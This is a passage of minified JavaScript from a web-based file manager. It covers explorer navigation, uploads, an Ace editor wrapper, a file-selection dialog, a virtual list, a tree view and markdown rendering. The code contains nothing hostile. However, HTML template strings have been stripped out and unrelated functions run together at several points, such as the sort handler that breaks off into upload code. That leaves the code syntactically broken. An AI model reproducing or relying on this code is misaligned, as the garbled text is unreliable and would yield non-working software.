moveInUpMarginSmallX").css("animation-duration","0.3s"),this._delay(function(){t.removeClass(e)},300))}),o=this._delay(n,8e3),this.bind("loadFinished",n),this.bind("onRemove",n))},"initChildren":function(){var e={"header":1,"history":1,"pageing":1,"path":1,"select":1,"hotKey":1,"pathAction":1,"tree":{"parent":this,"path":this.pathTree},"rightMenu":1,"search":1,"spaceSize":1,"plugins":1,"panel":1},t=_.get(this.initParam,"viewOption.addClass",!1),i=_.get(this.initParam,"viewOption.viewChildren",!1);t&&this.$(".frame-main").addClass(t),i&&_.extend(e,i),this.childrenCreate(e),this.spaceSize&&this.spaceSize.bindUserSpace()},"childrenCreate":function(e){this._each(e,function(e,t){var i;e&&(e=_.isObject(e)?e:{"parent":this},i=this.loadLib[t])&&(this[t]=new i(e))})},"focus":function(){this.$(".bodymain").attr("tabindex","1").focus()},"initPathShow":function(t,i){var e,n,o,a=this;return t?(e=this.parsePath(t),n=function n(e){a.pathOpen=e,a.path.initPath(a.pathOpen),i&&i(a.pathOpen)},(o=this.pathData.parse(e)).type!=G.io.KOD_SOURCE||_.trim(o.pathLast)?(this.pathOpen=null,this.pathModel.newFolder({"path":e},function(e){if(!e||!e.code)return Tips.tips(e);n(e.info),a.select.fileLight.selectByPath(t)}),!0):n(e)):i&&i(this.path.currentPath)},"parsePath":function(e){return e=(e=e.replace("{home}",G.user.myhome)).replace("{desktop}",G.user.desktop)},"initKodApp":function(){this.kodApp=window.kodApp,this.kodApp&&this.kodApp.initGlobal&&!_.get(this.kodApp,"objectRemoveViewFinished")?(this.kodApp.initGlobal(this),this.bind("onRemove",function(){this._each(this.kodApp.rootViews,function(e,t){e&&e.$el&&e!=this?this.kodApp.initGlobal(e):delete this.kodApp.rootViews[t]})})):this.kodApp=new d["default"]({"parentView":this}),this.kodApp.rootViews[this._listenId]=this},"bindNotify":function(){this.listenTree(),this.listenHeader(),this.listenHistory(),this.listenPageing(),this.listenPath(),this.listenSelect()},"listenTree":function(){var i=!1;this.tree&&this.listenTo(this.tree,{"initAfter":function(){var e,t;i||(i=!0,this.trigger("loadFinished")),null!==this.pathOpen&&((e=this.pathOpen||this.history.historyPath())||(t=_.split(_.get(window,"G.system.options.treeOpen",""),","),_.includes(t,"my")?e=G.user.myhome:_.includes(t,"rootGroup")?e="{source:1}":_.includes(t,"myGroup")&&(e="{groupRootSelf}")),this.path.initPath(e))},"nodeSelect":function(e){this.doAction("open",e.$node)}})},"listenHeader":function(){this.header&&this.listenTo(this.header.address,"change",function(e){this.path.list(e)})},"listenHistory":function(){this.history&&this.listenTo(this.history,"change",function(e){this.path.list(e,!0,_.bind(this.backSelectFile,this))})},"listenPageing":function(){this.pageing&&this.listenTo(this.pageing,"change",function(){this.path.refresh(!0)})},"backSelectFile":function(){var e=this.select.fileLight,t=this.path._pathOpenBefore;t&&e&&(e.selectByKeyValue("path",t,!0,!0,0)||e.selectByKeyValue("sharePath",t,!0,!0,0))},"listenPath":function(){var n=!1;this.path&&(this.listenTo(this.path,{"list.after":function(e,t,i){n||(n=!0,this.trigger("loadFinished")),i||this.history.add(e),this.pageing.pageLoad(t),this.header.address.addressSet(t)},"fileList.request":function(e){this.pageing.pageLoadBefore(e)}}),this.listenPathRouter(),this.listenTo(this.path,"list.before",function(e){Events.trigger("explorer.path.list.before",e,this)}),this.listenTo(this.path,"list.after",function(e){Events.trigger("explorer.path.list.after",e,this)}))},"listenPathRouter":function(){var n=this.urlParam("path"),o=!1,e=!1;$.isWindowTouch()&&(e=!0),"1"==_.get(G,"system.settings.pathShowUrlParam")&&(e=!0),!this.pathOpen&&n&&(this.pathOpen=n),"app"==this.$root.parent().attr("id")&&(n&&!e&&this._delay(function(){Router.setParam()},10),this.pathFile&&(this.pathAction.openFatherSelect(this.pathFile,!1),this._delay(function(){Router.setParam()},10)),this._delay(function(){e||Events.bind("router.change",function(){var e=this.urlParam("pathTree")||"{block:root}",t=this.urlParam("path");this.pathTree!=e&&(this.tree.resetTreePath(e),this.pathTree=e),this.pathOpen!=t&&t&&this.path.list(t,!0)},this)},200),e)&&(this.listenTo(this.path,{"list.after":function(e,t,i){o=!0,Router.setParam("path",e),n=e,this._delay(function(){o=!1},10)}}),Events.bind("router.change",function(){var e=this.urlParam("path");o||e==n||!e?n=e:(n=e,this.path.list(e,!0,_.bind(this.backSelectFile,this)))},this))},"listenSelect":function(){this.listenTo(this.select,{"select.change":function(e){},"select.init":function(){this._delay(function(){this.$(".file-continer-main .perfectScroll").perfectScroll()},10)}})},"doAction":function(){var e,t=_.toArray(arguments),i=t[0],n=t.slice(1);switch(i){case"history-back":this.history.back();break;case"history-next":this.history.next();break;case"refresh":this.path.refresh(!0,!0);break;case"refresh-tree":this.tree.treeAction.refresh();break;case"goto-father":this.header.address.gotoFather();break;case"home":this.path.list(G.user.myhome);break;case"select-all":this.select.fileLight.selectCommand("all");break;case"select-reverse":this.select.fileLight.selectCommand("reverse");break;case"set-list-icon":case"set-list-list":case"set-list-split":var o=i.replace("set-list-","");this.header.setListType(o),this.rightMenu.setListType(),this.path.refresh(),e=!1;break;case"icon-size-smallx":case"icon-size-small":case"icon-size-default":case"icon-size-big":case"icon-size-bigx":var o=i.replace("icon-size-",""),a=this.root.path.contentView.iconResize;a&&a.setIconSizeType(o),e=!1;break;case"set-sort-order":var o=l(n,2),r=o[0],s=o[1];this.listSortChange(r,s);break;case"set-sort-name":case"set-sort-ext":case"set-sort-size":case"set-sort-modifyTime":case"set-order-up":case"set-order-down":r=!1,s=!1;_.startsWith(i,"set-sort-")&&(r=i.replace("set-sort-","")),_.startsWith(i,"set-order-")&&(s=i.replace("set-order-","")),this.listSortChange(r,s),e=!1;break;default:e=this.actionRun(i,n)}return this.trigger(i,n),this.trigger("doAction",i,n),e},"actionRun":function(e,t){var i=this.pathAction,n=_.get(t,"0");return $.isDom(n)&&n.hasClass("tree-node")&&(i=this.tree.treeAction),$.isDom(n)?t=_.slice(t,1):n=!1,i.runFunction(e,n,t)},"listSortChange":function(e,t){this.root.path.view.setListSort(e,t),this.rightMenu.setListSort();e=this.path.jsonData.pageInfo,t=!1,e&&1\n\t\t\t\t\t'+o+' \n\t\t\t\t\t'+i+r+" \n\t\t\t\t");h.title(c+a).process({"process":n.percent,"text":s})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":o,"icon":"error","delay":2e3}):h.title(o).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(a).close()),n&&s()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=o+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!l.uploader.getStatus().finished)return n=!0;s()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(r,s,l){var i,c=this,e=r.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((l=l||{}).postParam=l.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",l.allowAllFiles?(e.type||1 ",a=e.nickName||e.name||e.nameDisplay||"",e.userID==window.G.user.userID&&(a=LNG["common.me"]),"\n\t\t\t'+o+'\n\t\t\t\t'+a+" \n\t\t\t \n\t\t"):""}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(235),n=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){this.menuView=new n["default"]({"parent":this})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(2),h=(i=i)&&i.__esModule?i:{"default":i},n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};function o(e){return function(){var l=e.apply(this,arguments);return new Promise(function(a,r){return function s(e,t){try{var i=l[e](t),n=i.value}catch(o){return void r(o)}if(!i.done)return Promise.resolve(n).then(function(e){s("next",e)},function(e){s("throw",e)});a(n)}("next")})}}var a,r,u=!1;t["default"]=ClassBase.extend({"init":function(){this.viewLoad=!0},"getValue":function(e,t){e=e.parent().find(".ace_editor").data("editor");return e&&e.getValue()},"setValue":function(e,t){e=e.parent().find(".ace_editor").data("editor");if(!e)return!1;this.trigger("editor.setValue",e),e.setValue(t),e.selection.moveTo(0,0);t=e.session.getUndoManager();t&&t.reset(),e.focus()},"bindForm":function(e){var t=this;this.formRow("textarea").each(function(){t.initEditor($(this),e)})},"initAce":(r=o(h["default"].mark(function p(){var t,i,n,o,a,r,s,l,c,d;return h["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise(VENDER_PATH+"ace/emmet.min");case 2:return e.next=4,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ace");case 4:return e.next=6,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-modelist");case 6:return e.next=8,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-language_tools");case 8:return e.next=10,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-emmet");case 10:if(u)return e.abrupt("return");e.next=12;break;case 12:u=!0,t=this,(d=ace.require("ace/ext/emmet")).setCore(window.emmet),d.load=function(){return!0},d.commands.removeCommand("emmet:toggle_comment"),(d=window.emmet.actions||emmet.require("actions"))._loaded||(d._loaded=!0,functionHook(d,"run",function(e,t){if("html"!=t.$syntax)return!1})),ace.aceModeList=ace.require("ace/ext/modelist"),ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager}),d=ace.require("ace/lib/dom"),i=d.buildDom,d.buildDom=function(){var e=t.langData();return t.langParse(arguments[0],e),i.apply(this,arguments)},n=ace.require("ace/lib/net"),o=n.loadScript,a={"mode-php.js":"mode-phhp.js","php.js":"phhp.js","mode-php_laravel_blade.js":"mode-phhp_laravel_blade.js","worker-php.js":"worker-phhp.js","php_worker":"phhp_worker","php_laravel_blade.js":"phhp_laravel_blade.js"},r=Object.keys(a),s=function s(e){if("string"==typeof e)for(var t=0;t').appendTo(l),l.find(".editor-full-screen").bind("click",function(){l.toggleClass("ace-editor-full"),e.resize(),e.focus()}),e.commands.addCommand({"name":"escFull","bindKey":"Esc","exec":function(e){l.removeClass("ace-editor-full"),e.resize(),e.focus()}})},"bindEditorEvent":function(e){var i=this;this.editorChange=_.debounce(_.bind(this.editorChange,this),50),this.cursorChange=_.debounce(_.bind(this.cursorChange,this),10),e.commands.addCommand({"name":"preview","bindKey":{"win":"Ctrl-alt-G","mac":"Ctrl-command-G"},"exec":function(e,t){t.findAll(t.session.getTextRange()),i.cursorChange(t)}}),e.on("change",function(e,t){i.editorChange(t)}),e.on("changeSelection",function(e,t){i.cursorChange(t)}),e.commands.addCommand({"name":"showKeyboardShortcuts","bindKey":{"win":"Ctrl-Alt-h","mac":"Command-Alt-h"},"exec":function(t){ace.config.loadModule("ace/ext/keybinding_menu",function(e){e.init(t),t.showKeyboardShortcuts()})}}),e.commands.addCommand({"name":"aceEditorSave","bindKey":{"win":"Ctrl-s","mac":"Command-s"},"exec":function(e){$(e.container).trigger("aceEditorSave")}}),e.commands.addCommand({"name":"convertUpper","bindKey":{"win":"Ctrl-U","mac":"Command-U"},"exec":function(e){e.toUpperCase()}}),e.commands.addCommand({"name":"convertLower","bindKey":{"win":"Ctrl-Shift-U","mac":"Command-Shift-U"},"exec":function(e){e.toLowerCase()}}),e.commands.addCommand({"name":"phpBeautify","bindKey":{"win":"Ctrl-Shift-B","mac":"Command-Shift-B"},"exec":function(t){ace.config.loadModule("ace/ext/beautify",function(e){e.beautify(t.session)})}}),this.editorMobileBind(e),e.insertRangeWith=_.bind(this.insertRangeWith,e),e.toUpperCase=function(){this.insertRangeWith(function(e){return e.toUpperCase()})},e.toLowerCase=function(){this.insertRangeWith(function(e){return e.toLowerCase()})},$(e.container).find(".ace_text-layer").bind("click",function(){e.$isFocused||e.focus()}),this.bind("onRemove",function(){this.destoryEditor(e)})},"destoryEditor":function(i){i.renderer&&(i.destroy(),i.container.remove(),_.each(i,function(e,t){delete i[t]}))},"insertRangeWith":function(o){var a=this,e=a.session.selection.ranges;_.isEmpty(e)&&(a.selection.isEmpty()&&a.selection.selectWord(),e=[a.getSelectionRange()]),_.each(e,function(e){var t=a.session.getTextRange(e)||"",t=o(t);if(t)try{var i=e.clone();i.end=a.session.replace(e,t),a.selection.addRange(i)}catch(n){}})},"editorMobileBind":function(e){var t;$.browserIS.ios&&$.isWindowTouch()&&(t=$(e.container).find(".ace_text-input"),$.setStyle(".ace_editor .ace_text-input{\n\t\t\topacity:0.05 !important;\n\t transform:none !important;\n\t width: 30px !important;\n\t height:20px !important;\n\t z-index:10 !important;\n\t\t}","ace-editor-mobile-ios"),e.getOption("readOnly"))&&t.addClass("hidden").attr("disabled","disabled")},"cursorChange":function(e){e&&this.trigger("editor.cursorChange",e)},"editorChange":function(e){e&&(e.$formMakerInput||(e.$formMakerInput=$(e.container).prev(),e.$formMakerInput.is("input"))||(e.$formMakerInput="notForm"),"notForm"!=e.$formMakerInput&&$(e.$formMakerInput).trigger("change"),this.trigger("editor.change",e))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});i=i(10);t["default"]=i.ExplorerDialog.extend({"explorerApi":!0,"init":function(e){this.initDialogView(e),this.initCommon(e),this.disableStoreValue(),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"",this.bindExplorerApi(),this.filterParseOption()},"initDialogView":function(e){var t=this,i={"type":"file","createFile":{"name":"newfile.txt","fileRepeat":"rename","content":"","base64":!1},"single":!0,"allowExt":"","pathOpen":"","pathTree":"","makeUrl":!1,"authCheck":"write","pathCheck":"","filter":"","pathCheckAllow":function(){},"callback":function n(){},"title":"","viewOption":!1,"cancel":!0,"lock":!0,"background":"#000","opacity":.2,"width":900,"height":500,"className":UUID()+" pathSelectApi ","ok":function(){return t.selectConfirm(),!1}},n=("file"!=(i=$.extend(!0,i,e)).type&&(i.allowExt=""),i.callback);i.callback=function(){n.apply(i,arguments),t.dialog.close()},this.param=e,this.options=$.objClone(i),this.initParam=this.options,i.title=e.title||this.defaultTitle(),this.initDialog(i),this.initApiView()},"initApiView":function(){this.$dialog=this.dialog.$main,this.$el=this.$dialog.find(".aui-content");var e=' \n\t\t\t'+this.initParam.allowExt+" \n\t\t
",t=this.$dialog.find(".aui-buttons");t.addClass("btn-actions"),t.parent().addClass("explorer-select-footer"),$(e).insertAfter(t),this.createFileView()},"createFileView":function(){var e,t,i,n,o;"createFile"==this.initParam.type&&(e=this.$dialog.find(".aui-state-highlight"),t=this.$dialog.find(".select-api-input-box input"),i=this.initParam.createFile.name,n=pathTools.pathExt(i),this.initParam.single=!0,t.removeAttr("readonly").val(i),n&&(o=i.length-n.length-1,this._delay(function(){t.textSelect(0,o).focus()},400)),t.keyEnter(function(){return e.hasClass("disable-event")?Tips.tips(LNG["explorer.selectValidFolder"],"warning"):e.trigger("click")}))},"defaultTitle":function(){var e;if(!this.initParam.title)return e=(e={"file":LNG["explorer.selectFile"],"folder":LNG["explorer.selectFolder"],"all":LNG["explorer.selectFolderFile"],"createFile":LNG["explorer.fileSaveTo"],"default":LNG["common.select"]})[this.initParam.type]||e["default"],this.initParam.single||(e+='"('+LNG["explorer.selectMulti"]+';)"'),e},"bindExplorerApi":function(){this.listenTo(this.select,{"select.change":this.selectChange,"select.init":function(){this.disableNotAllow(),this.selectChange()}}),this.pathAction.openFile=_.bind(function(e){var t=this.$dialog.find(".aui-state-highlight");t.hasClass("disable-event")||t.trigger("click")},this)},"disableStoreValue":function(){var e="-explorer-api",t=(this.pageing.storeKey+=e,this.history&&(this.history.storeKey+=e),this.tree&&(this.tree.history.storeKey+=e),this.path.contentView);t.splitResize&&(t.splitResize.storeKey+=e)},"selectResult":[],"resultParse":function(e){var t="name,path,pathDisplay,size,type,ext,createUser,downloadPath".split(",");return e=_.isArray(e)?_.map(e,function(e){return _.pick(e,t)}):_.pick(e,t)},"selectConfirm":function(){var e=this.initParam,t=this.resultParse(this.selectResult);if(!_.isEmpty(t))return"createFile"==e.type?this.callbackCreateFile(t):1==e.makeUrl?this.callbackMakeUrl(t):void e.callback(t,e)},"callbackMakeUrl":function(e){var t=[];this.initParam.single?t.push({"path":e.path}):_.each(e,function(e){t.push({"path":e.path})}),this.callbackPathInfo(t)},"callbackCreateFile":function(t){var i=this,e=this.$dialog.find(".select-api-input-box input"),n=this.initParam.createFile;n.path=_.trimEnd(t.path,"/")+"/"+e.val(),this.pathModel.newFile(n,function(e){if(!e||!e.code)return Tips.tips(e,!1);Events.trigger("path.pathChange",t.path,e),i.callbackPathInfo([{"path":e.info}])})},"callbackPathInfo":function(e){var t=this;this.pathModel.pathInfo({"dataArr":e},function(e){if(!e||!e.code)return Tips.tips(e,!1);e=t.resultParse(e.data);t.initParam.callback(e,t.initParam)})},"checkPathExt":function(e){var t=this.initParam.allowExt||"";return""==(t=t.toLowerCase().replace(/\|/g,",").replace(/\s/g,""))||_.includes(t.split(","),e)},"checkPathAuth":function(e){var t=this.initParam.authCheck,i=this.pathAction.auth;switch(t){case"read":return i.canRead(e);case"write":return i.canWrite(e);default:return!0}},"pathCheckType":function(e,t){switch(t){case"truePath":return e.isTruePath||e.sourceID;case"self":return"user"==e.targetType&&e.targetID==G.user.userID;case"group":return"group"==e.targetType;default:return!0}},"filterParseOption":function(){var e=this.options,t=this.pathAction.pathFilterParse(this.options.filter);t&&((e.filterMap=t).type&&(e.type=t.type),t.ext&&(e.allowExt=t.ext.join(",")),t.parent)&&"notRoot"!=t.parent&&!this.param.pathOpen&&(this.pathOpen="{source:"+t.parent+"}/")},"checkPath":function(e){var t=this.initParam;return!(!e||!this.checkPathAuth(e)||t.filterMap&&!this.pathAction.pathFilterCheck(e,t.filterMap)||t.pathCheck&&!this.pathCheckType(e,t.pathCheck)||t.pathCheckAllow&&!1===t.pathCheckAllow(e)||_.includes(["folder","createFile"],t.type)&&"folder"!=e.type||!("file"!=t.type||"file"==e.type&&this.checkPathExt(e.ext)))},"selectAdd":function(e){return!(this.initParam.single&&1<=this.selectResult.length||!this.checkPath(e)||(this.selectResult.push(e),0))},"selectChange":function(){var t,i=this,n=this.select.fileLight,e=n.listSelect,o=this.path.jsonData;this.selectResult=[],0==e.length?this.selectAdd(o.current):1<=e.length&&(t=[],_.each(e,function(e){i.selectAdd(e)||t.push(e)}),_.each(t,function(e){n.setStatus(e,"select",!1)})),!_.isEmpty(this.selectResult)&&this.initParam.single&&(this.selectResult=this.selectResult[0]),this.changeDialogStatus()},"disableNotAllow":function(){var i=this,e=this.select.fileLight;e.listAllEach(function(e){var t=!1;switch(i.options.type){case"file":t="file"==e.type&&!i.checkPathExt(e.ext);break;case"folder":case"createFile":t="file"==e.type}t&&(e._data.status.disabled=!0)}),e.listReloadView()},"changeDialogStatus":function(){var e=this.$dialog.find(".aui-state-highlight"),t="disable-event";return _.isEmpty(this.selectResult)?(e.addClass(t),this.changeText("")):(e.removeClass(t),this.initParam.single?this.changeText(this.selectResult.name):(t=_.map(this.selectResult,"name").join(", "),e="["+this.selectResult.length+"]"+LNG["common.items"]+";"+t,void this.changeText(e)))},"changeText":function(){var e=0').appendTo(this.$container),this.reloadViewAll(),this.resize=_.throttle(_.bind(this.resize,this),20),this.bind("onRemove",function(){this.animate=!1,this.reloadDataClear(),this.$heightHolder.remove(),this.$containerList.find(".pin-header").remove()})},"bindEventScroll":function(){var t=this.$container,i=_.bind(this.scrollChange,this),n=!1,o=!1,i=_.bind(function(e){o?(cancelAnimationFrame(n),n=requestAnimationFrame(i)):(o=!0,setTimeout(function(){o=!1},0),this.scrollChange(e))},this);t.bind("scroll",i),t.data("_vListView",this),this.bind("onRemove",function(e){t.unbind("scroll",i)}),this.bindEventScrollTouch()},"bindEventResize":function(){var e=_.bind(function(){this.trigger("resizeBefore"),this.resize()},this);$(window).bind("resize",e),this.bind("onRemove",function(){$(window).unbind("resize",e)})},"resize":function(){this.resizeSizeInit(),this.reloadView()},"resizeSizeInit":function(){this.scrollTop=this.$container.scrollTop(),this.continerWidth=this.$container.innerWidth(),this.continerHeight=this.$container.innerHeight()},"resizeKeepRender":function(){this.resizeSizeInit(),this._keepNodeDom=!0,this.reloadDataAll(),this._keepNodeDom=!1},"renderView":function(e,t){this.reloadData(e),t&&t()},"reloadData":function(e){this.listData=e=e||[{"header":!1,"list":[]}],this.reloadViewAll(!0)},"reloadDataClear":function(){this.listArrShowClear(),this.eachListData(function(e){e._data=!1})},"reloadViewAll":function(e){e&&this.reloadDataClear(),this.resizeSizeInit(),this.reloadDataAll()},"animate":0,"animateSet":function(e){this.animate=0=a)return d(c);var h,u=a,p=c._data.$node||c._data.$pinHeader||c._data.$nodeBefore;c._data._headerID||(c._data._headerID="pin-header-"+UUID()),p||(c._data._headerID&&(h=$("#"+c._data._headerID)).length&&h.remove(),p=(p=$(this.makeHtmlHeader(c))).appendTo(this.$containerList),(c._data.$pinHeader=p).data(this.nodeDataKey,c),p.attr("id",c._data._headerID||"")),o&&o!=c&&i<=(h=c._data.height+0)&&(u-=h-i),p.addClass("pin-header"),p.css({"position":"sticky","top":u-a})}},"getItemHeader":function(e){return!!e&&(e._data.isHeader?e:!!(e=this.listData[e._data.groupIndex])&&e.header)},"scrollChange":function(e){var t=this.$container.scrollTop();e&&t==this.scrollTop||(this.scrollTop=t,this.reloadView(),this.trigger("onScroll"))},"groupShowToggle":function(e,t){var i,e=this.getItemByDom(e);e&&e._data&&(i=this.listData[e._data.groupIndex||0])&&(i.hidden?(i.list=i._listBefore||[],delete i._listBefore):(i._listBefore=i.list||[],i.list=[]),t=t||"group-hidden",i.hidden=!i.hidden,e._data.status[t]=i.hidden,this.reloadViewAll())},"makeHtmlItem":function(e){var t=e._nodeTemplate||this.nodeTemplate;return this.renderHtml(t,e,!1)},"makeHtmlHeader":function(e){var t=e._nodeTemplate||this.nodeHeaderTemplate;return this.renderHtml(t,e,!1)},"setItemStatus":function(e,t,i){this.setStatus(e,t,i)&&this.reloadView()},"setStatus":function(e,t,i){if(!e||!e._data||!t)return!1;var n=e._data.$node;e._data.status[t]=i,n&&(!i&&n.hasClass(t)&&n.removeClass(t),i)&&!n.hasClass(t)&&n.addClass(t)},"getItemByDom":function(e){e=$(e).data(this.nodeDataKey);return!(!e||!e._data)&&e},"getItemStatusByDom":function(e){e=$(e).data(this.nodeDataKey);return e&&e._data&&e._data.status}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,i=i(2),r=(i=i)&&i.__esModule?i:{"default":i};function o(e){return function(){var l=e.apply(this,arguments);return new Promise(function(a,r){return function s(e,t){try{var i=l[e](t),n=i.value}catch(o){return void r(o)}if(!i.done)return Promise.resolve(n).then(function(e){s("next",e)},function(e){s("throw",e)});a(n)}("next")})}}t["default"]=ClassBase.extend({"childMarginLeft":15,"init":function(){},"requestData":function(e,t,i){},"dataFilter":function(e){return e},"treeNodeRenderAfter":function(e){},"initView":(n=o(r["default"].mark(function s(t,i){var n,o,a;return r["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return n="tree-"+roundString(5),o=this,(i=i||this.$el).attr("id",n),a={"async":{"enable":!0},"view":{"showLine":!1,"selectedMulti":!1,"expandSpeed":"fast","dblClickExpand":!1,"addDiyDom":_.bind(this.treeNodeRender,this)},"callback":{}},this.treeSetting=a,this.treeCallback["beforeAsync"]=this.beforeAsync,_.each(this.treeCallback,function(e,t){a.callback[t]=function(){var e=_.toArray(arguments);return o.trigger.apply(o,["tree."+t].concat(e)),o.treeCallback[t].apply(o,e)}}),e.next=10,requirePromise(VENDER_PATH+"zTree.js");case 10:if(this.$el){e.next=12;break}return e.abrupt("return","");case 12:this.defineTreeAsync(),this.requestData(t,function(e){o.initViewFinished(e,a,i,t,n)});case 14:case"end":return e.stop()}},s,this)})),function(e,t){return n.apply(this,arguments)}),"treeNodeRender":function(e,t){var e=$.fn.zTree.getZTreeObj(e).setting.treeObj,i="#"+t.tId+"_",n=e.find(i+"switch").remove(),o=this.childMarginLeft*t.level,o=(e.find(i+"ico").remove(),"\n\t\t\t \n\t\t\t"+n.prop("outerHTML")+'\t\t\t\t\n\t\t\t\n\t\t\t\t \n\t\t\t ');e.find(i+"span").before(o),t.$node=e.find(i+"a").addClass("tree-node"),t.$ico=e.find(i+"my_ico"),t.$span=e.find(i+"span"),t.$node.data("treeNode",t),this.treeNodeRenderAfter(t)},"initViewFinished":function(e,t,i,n,o){if(!this.$el)return"";var a=this.dataFilter(e);this.trigger("initBefore",e,t),$.fn.zTree.init(i,t,a),this.zTree=$.fn.zTree.getZTreeObj(o),this.zTree.rootPath=n,_.isArray(a)||e&&e.code||this.$el.html(''+LNG["explorer.systemError"]+"
"),this.trigger("initAfter",this.zTree)},"defineTreeAsync":function(){$.fn.zTree._z.view.asyncNodeBefore=$.fn.zTree._z.view.asyncNode,$.fn.zTree._z.view.asyncNode=function(e,t,i,n){return e.callback.beforeAsync.apply(this,[e,t,i,n])}},"beforeAsync":function(i,n,o,a){var r,s=this,e=$.fn.zTree,l=e.consts.event,c=e._z.view,d=e._z.tools;return!!n&&!(n&&n.isAjaxing||((r=n.$ico).addClass("ico_loading"),n.isAjaxing=!0,this.requestData(n,function(e){r.removeClass("ico_loading"),n.isAjaxing=null,n.zAsync=!0;var t=s.dataFilter(e);_.isEmpty(n.children)||(t=[]),n.isParent=!_.isEmpty(t)||!_.isEmpty(n.children),c.setNodeLineIcos(i,n),s.zTree&&s.zTree.updateNode(n),n.isParent&&c.addNodes(i,n,-1,t,!!o),i.treeObj.trigger(l.ASYNC_SUCCESS,[i.treeId,n,e]),d.apply(a),s.trigger("tree.loadData",n)},function(){r.removeClass("ico_loading"),n.isAjaxing=null,c.setNodeLineIcos(i,n),i.treeObj.trigger(l.ASYNC_ERROR),d.apply(a),s.trigger("tree.loadData",!1)}),0))},"expandAuto":function(e,i,n){var o=this.zTree;if(o){for(var a,r,t=!1,s=(e=_.isString(e)?_.filter(e.split(","),function(e){return e&&"0"!=e}):e).reverse(),l=[],c=0;c.content").offset().top+e.parents(".kodTable>.content").height()-i-r<20)?t.removeClass().addClass("dropdown tpTips"):void t.removeClass().addClass("dropdown btTips")},"make":function(e,t,i){i&&_.isArray(i)||(i=[{"action":"edit","name":LNG["common.edit"]}]);var n="",o=(_.each(i,function(e,t){n+=''+e.name+" "}),""),a=!0,i=!1,r=undefined;try{for(var s,l=t[Symbol.iterator]();!(a=(s=l.next()).done);a=!0){var c=s.value;o+=''+c.name+" "}}catch(d){i=!0,r=d}finally{try{!a&&l["return"]&&l["return"]()}finally{if(i)throw r}}return'\n\t\t\t'+n+'\n
\n
\n
'+LNG["common.action"]+' \n \n
\n
\n
"}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var t,o=function o(e){requireAsync([VENDER_PATH+"markdown/markdown-it.min",VENDER_PATH+"markdown/highlight.min",VENDER_PATH+"markdown/mermaid.min",VENDER_PATH+"markdown/raphael.min",VENDER_PATH+"markdown/abcjs-basic-min",VENDER_PATH+"markdown/plantuml",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css",VENDER_PATH+"markdown/katex/katex.min.js"],function(){window.mermaid&&window.mermaid.initialize({"startOnLoad":!0}),requireAsync([VENDER_PATH+"markdown/flowchart.min"],function(){var t=markdownit({"html":!0,"linkify":!0,"typographer":!0});_.each(m["default"],function(e){t.use.apply(t,e)}),i(t),n=t,e&&e(t)})})},i=function i(e){functionHook(e,"validateLink",!1,function(e,t){if(t[0]&&t[0].match(/^data:image\/\w+;/))return!0})},s=[],l=function l(n,e,t){var o=e.split("\n"),a=[],r=0,e=h(e),e=(_.each(e,function(e,t){var e=e.map[0],i=_.slice(o,r,e).join("\n"),i=c(n,i);a.push(i),r=e}),_.slice(o,r).join("\n"));a.push(c(n,e)),u(a,t),f(t),s=a},c=function c(e,t){var i=_.find(s,["text",t]);return i||{"text":t,"html":""+(i=t==(i=r(e,t))&&"\x3c!--"==i?htmlEncode(i):i)+"
","time":timeFloat()}},a=!0,r=function r(e,t){var i=x.text.indexOf(t);if(a&&t&&-1!==i)n=x.out[i],_.pullAt(x.text,i),_.pullAt(x.out,i),x.text.push(t),x.out.push(n);else{var n=t;try{n=e.render(t||""),_.each(d,function(e){n=e(n)})}catch(o){}a&&t&&(x.text.length>=x.max&&(x.text.shift(),x.out.shift()),x.text.push(t),x.out.push(n))}return n},d=[],h=function h(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),o=_.keys(t),a=0;a
"}catch(h){}if(_.includes(["flowchart","flow"],e)){var r=UUID(),s=$("
").appendTo("body"),l={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{flowchart.parse(a).drawSVG(r,l);var c=s.html();return s.remove(),''+c+"
"}catch(h){s.remove(),console.info(h)}}if(_.includes(["abc","music"],e)){r=UUID(),s=$("
").appendTo("body"),l={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{ABCJS.renderAbc(r,a);c=s.html();return s.remove(),''+c+"
